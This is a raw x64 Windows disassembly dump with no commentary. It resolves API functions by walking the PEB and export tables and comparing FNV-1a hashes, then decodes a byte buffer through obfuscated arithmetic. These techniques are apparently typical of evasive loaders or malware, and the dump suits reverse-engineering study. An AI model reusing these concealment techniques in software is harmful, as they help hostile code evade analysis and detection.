mov ebx, dword [r11 + 0x18]
test ebx, ebx
je 0x14014e98d
mov edi, dword [r11 + 0x20]
mov r12d, 1
dec ebx
lea r8, [r10 + rbx*4]
mov r9d, dword [r8 + rdi]
add r9, r10
mov r8d, r15d
jmp 0x14014e90c
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
mov dl, byte [r9]
add r9, r12
test dl, dl
jne 0x14014e8ff
cmp r8d, r14d
je 0x14014e921
test ebx, ebx
jne 0x14014e8ed
jmp 0x14014e98d
mov r8d, dword [r11 + 0x1c]
add r8, r10
mov edx, dword [r11 + 0x24]
add rdx, r10
movzx edx, word [rdx + rbx*2]
mov edx, dword [r8 + rdx*4]
add rdx, r10
cmp rdx, r11
jbe 0x14014e995
lea rcx, [rax + r11]
cmp rdx, rcx
jae 0x14014e995
mov esi, r15d
mov r14d, r15d
jmp 0x14014e95e
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
cmp al, 0x2e
jne 0x14014e950
jmp 0x14014e973
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
test al, al
jne 0x14014e966
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rcx, qword [rcx + 0x10]
mov rcx, qword [rcx]
jmp 0x14014e861
mov qword [0x1404fc118], rdx
jmp 0x14014e9a4
mov r12d, 1
mov ecx, 0x99
call rdx
mov rbx, qword [0x1404fc158]
test rbx, rbx
jne 0x14014eb10
mov esi, r13d
mov r14d, 0xf84eee59
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x14014ea27
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x14014ea1a
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14014ea0b
cmp edx, esi
jne 0x14014eaf4
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x14014eaf4
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x14014eaf4
mov edi, dword [r10 + 0x20]
dec r11d
lea rdx, [rdi + r11*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x14014ea7b
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r12
test cl, cl
jne 0x14014ea70
cmp edx, r14d
je 0x14014ea91
test r11d, r11d
jne 0x14014ea5b
jmp 0x14014eaf4
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov ebx, dword [r8 + rdx*4]
add rbx, r9
cmp rbx, r10
jbe 0x14014eb09
lea rcx, [r10 + rax]
cmp rbx, rcx
jae 0x14014eb09
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x14014ead3
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rbx, r12
mov al, byte [rbx]
cmp al, 0x2e
jne 0x14014eac5
jmp 0x14014eae8
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rbx, r12
mov al, byte [rbx]
test al, al
jne 0x14014eadb
mov rbx, qword [r15]
mov rbx, qword [rbx]
cmp rbx, r15
je 0x14014eb06
cmp qword [rbx + 0x30], r13
jne 0x14014e9db
mov rbx, r13
mov qword [0x1404fc158], rbx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor edx, edx
mov rcx, rax
call rbx
mov rdx, qword [0x1404fc150]
test rdx, rdx
jne 0x14014ec82
mov esi, r13d
mov r14d, 0xb3002016
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x14014eb99
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x14014eb8c
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14014eb7d
cmp edx, esi
jne 0x14014ec66
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x14014ec66
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x14014ec66
mov edi, dword [r10 + 0x20]
dec r11d
lea rdx, [rdi + r11*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x14014ebed
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r12
test cl, cl
jne 0x14014ebe2
cmp edx, r14d
je 0x14014ec03
test r11d, r11d
jne 0x14014ebcd
jmp 0x14014ec66
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x14014ec7b
lea rcx, [rax + r10]
cmp rdx, rcx
jae 0x14014ec7b
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x14014ec45
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
cmp al, 0x2e
jne 0x14014ec37
jmp 0x14014ec5a
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
test al, al
jne 0x14014ec4d
mov rbx, qword [r15]
mov rbx, qword [rbx]
cmp rbx, r15
je 0x14014ec78
cmp qword [rbx + 0x30], r13
jne 0x14014eb4d
mov rdx, r13
mov qword [0x1404fc150], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x1404fc148]
test rdx, rdx
jne 0x14014edeb
mov esi, r13d
mov r14d, 0x2fd4df39
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x14014ed02
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x14014ecf5
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14014ece6
cmp edx, esi
jne 0x14014edcf
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x14014edcf
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x14014edcf
mov edi, dword [r10 + 0x20]
dec r11d
lea rdx, [rdi + r11*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x14014ed56
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r12
test cl, cl
jne 0x14014ed4b
cmp edx, r14d
je 0x14014ed6c
test r11d, r11d
jne 0x14014ed36
jmp 0x14014edcf
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x14014ede4
lea rcx, [rax + r10]
cmp rdx, rcx
jae 0x14014ede4
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x14014edae
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
cmp al, 0x2e
jne 0x14014eda0
jmp 0x14014edc3
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
test al, al
jne 0x14014edb6
mov rbx, qword [r15]
mov rbx, qword [rbx]
cmp rbx, r15
je 0x14014ede1
cmp qword [rbx + 0x30], r13
jne 0x14014ecb6
mov rdx, r13
mov qword [0x1404fc148], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x1404fc140]
test rdx, rdx
jne 0x14014ef54
mov esi, r13d
mov r14d, 0xe80fd3a
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x14014ee6b
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x14014ee5e
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14014ee4f
cmp edx, esi
jne 0x14014ef38
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x14014ef38
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x14014ef38
mov edi, dword [r10 + 0x20]
dec r11d
lea rdx, [rdi + r11*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x14014eebf
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r12
test cl, cl
jne 0x14014eeb4
cmp edx, r14d
je 0x14014eed5
test r11d, r11d
jne 0x14014ee9f
jmp 0x14014ef38
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x14014ef4d
lea rcx, [rax + r10]
cmp rdx, rcx
jae 0x14014ef4d
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x14014ef17
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
cmp al, 0x2e
jne 0x14014ef09
jmp 0x14014ef2c
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
test al, al
jne 0x14014ef1f
mov rbx, qword [r15]
mov rbx, qword [rbx]
cmp rbx, r15
je 0x14014ef4a
cmp qword [rbx + 0x30], r13
jne 0x14014ee1f
mov rdx, r13
mov qword [0x1404fc140], rdx
xor ecx, ecx
call rdx
cmp qword [0x1404fc138], r13
jne 0x14014f0bc
mov esi, r13d
mov r14d, 0xa52bcaf9
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x14014efd1
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x14014efc4
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14014efb5
cmp edx, esi
jne 0x14014f0a0
mov r10, qword [rbx + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rax, qword [rax + r10 + 0x88]
mov r11d, eax
add r11, r10
shr rax, 0x20
cmp r11, r10
je 0x14014f0a0
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x14014f0a0
mov edi, dword [r11 + 0x20]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + rdi]
add r8, r10
mov edx, 0x811c9dc5
jmp 0x14014f025
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r12
test cl, cl
jne 0x14014f01a
cmp edx, r14d
je 0x14014f03b
test r9d, r9d
jne 0x14014f005
jmp 0x14014f0a0
mov r8d, dword [r11 + 0x1c]
add r8, r10
mov edx, dword [r11 + 0x24]
add rdx, r10
movzx edx, word [rdx + r9*2]
mov r9d, dword [r8 + rdx*4]
add r9, r10
cmp r9, r11
jbe 0x14014f0b5
lea rcx, [rax + r11]
cmp r9, rcx
jae 0x14014f0b5
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x14014f07d
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r9, r12
mov al, byte [r9]
cmp al, 0x2e
jne 0x14014f06f
jmp 0x14014f093
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r9, r12
mov al, byte [r9]
test al, al
jne 0x14014f086
mov rbx, qword [r15]
mov rbx, qword [rbx]
cmp rbx, r15
je 0x14014f0b2
cmp qword [rbx + 0x30], r13
jne 0x14014ef85
mov r9, r13
mov qword [0x1404fc138], r9
mov r8, qword [0x1404fc168]
test r8, r8
jne 0x14014f12d
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r8, qword [rax]
mov r10, r8
mov rcx, qword [r8 + 0x60]
movzx eax, word [r8 + 0x58]
shr rax, 1
lea r9, [rcx + rax*2]
mov edx, 0x811c9dc5
cmp rcx, r9
je 0x14014f115
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r9
jne 0x14014f0f9
cmp edx, 0x610c0de3
je 0x14014f17e
mov r8, qword [r8]
cmp r8, r10
je 0x14014f123
cmp qword [r8 + 0x30], r13
jne 0x14014f0df
mov r8, r13
mov qword [0x1404fc168], r8
movsxd rax, dword [r8 + 0x3c]
mov r10d, dword [rax + r8 + 0x88]
mov r9d, r13d
mov r11d, dword [r10 + r8 + 0x20]
mov eax, r9d
lea rcx, [r11 + rax*4]
mov edx, dword [rcx + r8]
add rdx, r8
mov ecx, 0x811c9dc5
mov al, byte [rdx]
add rdx, r12
test al, al
je 0x14014f179
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
mov al, byte [rdx]
add rdx, r12
test al, al
jne 0x14014f15d
cmp ecx, 0xe463da3c
je 0x14014f184
add r9d, r12d
jmp 0x14014f141
mov r8, qword [r8 + 0x30]
jmp 0x14014f126
mov edx, dword [r10 + r8 + 0x1c]
add rdx, r8
mov ecx, dword [r10 + r8 + 0x24]
add rcx, r8
mov eax, r9d
movzx ecx, word [rcx + rax*2]
mov eax, dword [rdx + rcx*4]
add rax, r8
xor ecx, ecx
call rax
mov r12, rax
mov r10, qword [0x1404fba00]
test r10, r10
jne 0x14014f310
mov esi, r13d
mov r14d, 0x820621f3
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rbx, qword [rcx]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x14014f224
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x14014f217
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14014f208
cmp edx, esi
jne 0x14014f2f4
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r11d, eax
add r11, r9
shr rax, 0x20
cmp r11, r9
je 0x14014f2f4
mov r10d, dword [r11 + 0x18]
test r10d, r10d
je 0x14014f2f4
mov edi, dword [r11 + 0x20]
dec r10d
lea rdx, [r9 + r10*4]
mov r8d, dword [rdx + rdi]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x14014f278
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14014f26d
cmp edx, r14d
je 0x14014f28e
test r10d, r10d
jne 0x14014f258
jmp 0x14014f2f4
mov r8d, dword [r11 + 0x1c]
add r8, r9
mov edx, dword [r11 + 0x24]
add rdx, r9
movzx edx, word [rdx + r10*2]
mov r10d, dword [r8 + rdx*4]
add r10, r9
cmp r10, r11
jbe 0x14014f309
lea rcx, [rax + r11]
cmp r10, rcx
jae 0x14014f309
mov esi, 0x811c9dc5
mov r14d, esi
mov ecx, 1
mov al, byte [r10]
cmp al, 0x2e
je 0x14014f2e7
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r10, rcx
jmp 0x14014f2c3
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r10, rcx
mov al, byte [r10]
test al, al
jne 0x14014f2da
mov rbx, qword [r15]
mov rbx, qword [rbx]
cmp rbx, r15
je 0x14014f306
cmp qword [rbx + 0x30], r13
jne 0x14014f1d8
mov r10, r13
mov qword [0x1404fba00], r10
lea r9, [rbp + 0x119c]
mov edx, 0x5000
mov r8d, 1
mov rcx, r12
call r10
mov r8, qword [0x1404fc160]
test r8, r8
jne 0x14014f490
mov esi, r13d
mov r14d, 0x33b00bc5
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x14014f3a4
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x14014f397
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14014f388
cmp edx, esi
jne 0x14014f474
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x14014f474
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x14014f474
mov edi, dword [r10 + 0x20]
dec r11d
lea rdx, [r9 + r11*4]
mov r8d, dword [rdx + rdi]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x14014f3f8
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14014f3ed
cmp edx, r14d
je 0x14014f40e
test r11d, r11d
jne 0x14014f3d8
jmp 0x14014f474
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov r8d, dword [r8 + rdx*4]
add r8, r9
cmp r8, r10
jbe 0x14014f489
lea rcx, [rax + r10]
cmp r8, rcx
jae 0x14014f489
mov esi, 0x811c9dc5
mov r14d, esi
mov ecx, 1
mov al, byte [r8]
cmp al, 0x2e
je 0x14014f467
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r8, rcx
jmp 0x14014f443
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r8, rcx
mov al, byte [r8]
test al, al
jne 0x14014f45a
mov rbx, qword [r15]
mov rbx, qword [rbx]
cmp rbx, r15
je 0x14014f486
cmp qword [rbx + 0x30], r13
jne 0x14014f358
mov r8, r13
mov qword [0x1404fc160], r8
mov edx, 0x5000
mov rcx, r12
call r8
mov qword [0], 0x99
mov byte [rbp + 0x610], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x611], 0xc9
mov byte [rbp + 0x612], 0xf8
mov byte [rbp + 0x613], Ordinal_211
mov byte [rbp + 0x614], 0xe0
mov byte [rbp + 0x615], Ordinal_50
mov byte [rbp + 0x616], 0x46
mov byte [rbp + 0x617], 0xba
mov byte [rbp + 0x618], Ordinal_79
mov byte [rbp + 0x619], 0x9d
mov byte [rbp + 0x61a], 0xbb
mov byte [rbp + 0x61b], 0xbf
mov byte [rbp + 0x61c], 0xbd
mov byte [rbp + 0x61d], 0x9d
mov r14d, 0x40
mov byte [rbp + 0x61e], r14b
mov byte [rbp + 0x61f], 0x45
mov byte [rbp + 0x620], 0xdc
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x621], xmm0
mov qword [rbp + 0x631], rax
mov word [rbp + 0x639], ax
mov byte [rbp + 0x63b], al
movabs rsi, 0x83a725eef7f5773a
mov bl, byte [rsp + 0x50]
call fcn.1401abe8c
mov rdi, qword [rax]
call fcn.1401abe94
mov r10, qword [rax]
mov r9, r13
mov r15d, 1
cmp r9, 0x2c
jae 0x14015011e
movzx r8d, byte [rbp + r9 + 0x610]
mov r11, r8
cmp rdi, r9
ja 0x140150115
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x14014f5ac
lea rcx, [r9 + rsi]
mov rax, r8
and rax, rcx
imul rbx, rax, 0xfffffffffffffffe
add rbx, r8
add rbx, rcx
add bl, 0x6a
jmp 0x14014f5e6
je 0x140150088
lea rax, [r10 + 2]
cmp rdi, rax
je 0x140150000
lea rax, [r10 + 4]
cmp rdi, rax
je 0x14014ffce
lea rax, [r10 + 5]
cmp rdi, rax
je 0x14014ff81
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14014ff55
cmp r10, r9
ja 0x14015010c
lea rax, [r10 + 6]
cmp rdi, rax
jae 0x14014f617
movabs rcx, 0xccb61c9a5722c7c2
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x4e
jmp 0x14014f64b
lea rax, [r10 + 1]
cmp rdi, rax
je 0x14014ff12
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14014feef
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14014fecd
lea rax, [r10 + 6]
cmp rdi, rax
je 0x14014fea7
lea rax, [r10 + rdi]
cmp rax, r9
jbe 0x14014fb80
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14014fb5e
lea rax, [r10 + 6]
cmp rdi, rax
je 0x14014fb4a
lea rax, [r10 + 0xa]
cmp rdi, rax
je 0x14014fb36
lea rax, [r10 + 0x28]
cmp rdi, rax
je 0x14014fb22
lea rax, [r10 + 0x64]
cmp rdi, rax
je 0x14014fb00
lea rax, [r10 + 0x3e8]
cmp rdi, rax
je 0x14014fade
lea rax, [r10 + 0x61]
cmp rdi, rax
je 0x14014fabc
lea rax, [r10 + 0x5a]
cmp rdi, rax
je 0x14014faa8
lea rcx, [r10 + 2]
cmp rdi, rcx
je 0x14014fa94
lea rax, [r10 + 5]
cmp rdi, rax
je 0x14014f658
mov rdi, rcx
lea r10, [rcx + 9]
lea rax, [r10 + 5]
cmp rcx, rax
jb 0x1401500e6
lea rax, [r10 + 9]
cmp rcx, rax
jb 0x1401500c0
lea rax, [r10 + 0x20]
cmp rcx, rax
jb 0x14014f857
lea rax, [r10 + 0x42]
cmp rcx, rax
jb 0x14014f834
lea rax, [r10 + 0x200]
cmp rcx, rax
jb 0x14014f811
lea rax, [r10 + 0x1000]
cmp rcx, rax
jb 0x14014fa7d
lea rax, [r10 + 8]
cmp rcx, rax
jb 0x14014fa23
lea rax, [r10 + 0x10]
cmp rcx, rax
jb 0x14014f9d0
lea rcx, [r10 + 0x40]
cmp rdi, rcx
jb 0x14014f9a6
lea rax, [r10 + 0x80]
cmp rdi, rax
jb 0x14014f658
mov rdi, rcx
lea r10, [rcx + 0x400]
lea rax, [r10 + 0x80]
cmp rcx, rax
ja 0x14014f984
lea rax, [r10 + 0x400]
cmp rcx, rax
ja 0x14014f962
lea rax, [r10 + 0x7a]
cmp rcx, rax
ja 0x14014f940
lea rax, [r10 + 0x2a]
cmp rcx, rax
ja 0x14014f91a
lea rax, [r10 + 3]
cmp rcx, rax
ja 0x14014f8f4
lea rax, [r10 + 6]
cmp rcx, rax
ja 0x14014f8e0
lea rax, [r10 + 0xa]
cmp rcx, rax
ja 0x14014f8be
lea rax, [r10 + 0x28]
cmp rcx, rax
ja 0x14014f89b
lea rax, [r10 + 0x64]
cmp rcx, rax
ja 0x14014f879
lea rax, [r10 + 0x3e8]
cmp rcx, rax
ja 0x14014f658
lea rdi, [r10 + 0x5a]
lea r10, [rdi + 0x61]
jmp 0x14014f658
movabs rdx, 0x7bc198c0a247bc7e
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x72
add bl, dl
jmp 0x14014f64b
movabs rdx, 0x74734ce2b25cce0a
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x46
add bl, dl
jmp 0x14014f5e6
movabs rcx, 0x6d250104c271df96
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x1a
jmp 0x14014f57e
movabs rcx, 0x65b0e4d2b9163e10
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x70
jmp 0x14014ff2f
movabs rcx, 0x5e6298f4c92b4f9c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x44
jmp 0x14014ff76
movabs rcx, 0x57144d16d9406128
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x18
jmp 0x14014ff79
movabs rdx, 0x4fc60138e95572b4
mov ecx, 0xa
jmp 0x14014ff90
movabs rdx, 0x4877b55af96a8440
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14014ffeb
movabs rdx, 0x4129697d097f95cc
add rdx, r9
mov al, dl
and al, r8b
mov ecx, gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14014ffee
movabs rcx, 0x39db1d9f1994a758
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x68
jmp 0x140150021
movabs rcx, 0x328cd1c129a9b8e4
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x3c
jmp 0x140150055
movabs rcx, 0x2b3e85e339beca70
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x10
jmp 0x1401500a9
movabs rcx, 0x98fac83861f3764e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x22
mov byte [rbp + r9 + 0x610], bl
jmp 0x1401500b8
movabs rdx, 0x91ac7c5a720887da
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 5
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
mov eax, 8
cmp r10, rax
jb 0x14014f9c3
movabs rdx, 0x74991d36cbcd811c
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
lea ebx, [rcx + rcx]
jmp 0x14014ff2f
movabs rdx, 0x8a5e307c821d9966
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
cmp rdi, 5
jae 0x14014fe54
lea rcx, [r10 + 2]
cmp rdi, rcx
jbe 0x14014fdb5
movabs rcx, 0x2b8a268b6ca03094
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0xc
jmp 0x14014f9f1
movabs rdx, 0x830fe49e9232aaf2
add rdx, r9
mov ecx, Ordinal_50
jmp 0x14014fb92
movabs rdx, 0xcc44ab9e0ad0ae8c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
jmp 0x14014fbff
movabs rdx, 0xc4f65fc01ae5c018
mov ecx, Ordinal_46
jmp 0x14014feb6
movabs rcx, 0xbda813e22afad1a4
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x7c
jmp 0x140150021
movabs rcx, 0xb659c8043b0fe330
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x50
jmp 0x14014ffee
movabs rcx, 0xaf0b7c264b24f4bc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x24
jmp 0x14014ffeb
movabs rdx, 0xa7bd30485b3a0648
mov ecx, 4
jmp 0x14014ff90
movabs rdx, 0xa06ee46a6b4f17d4
mov ecx, reloc.WLDAP32.dll_Ordinal_26
jmp 0x14014fefe
movabs rdx, 0x9920988c7b642960
mov ecx, Ordinal_50
jmp 0x14014ff64
movabs rcx, 0x91d24cae8b793aec
add rcx, r9
mov al, cl
and al, r8b
add al, al
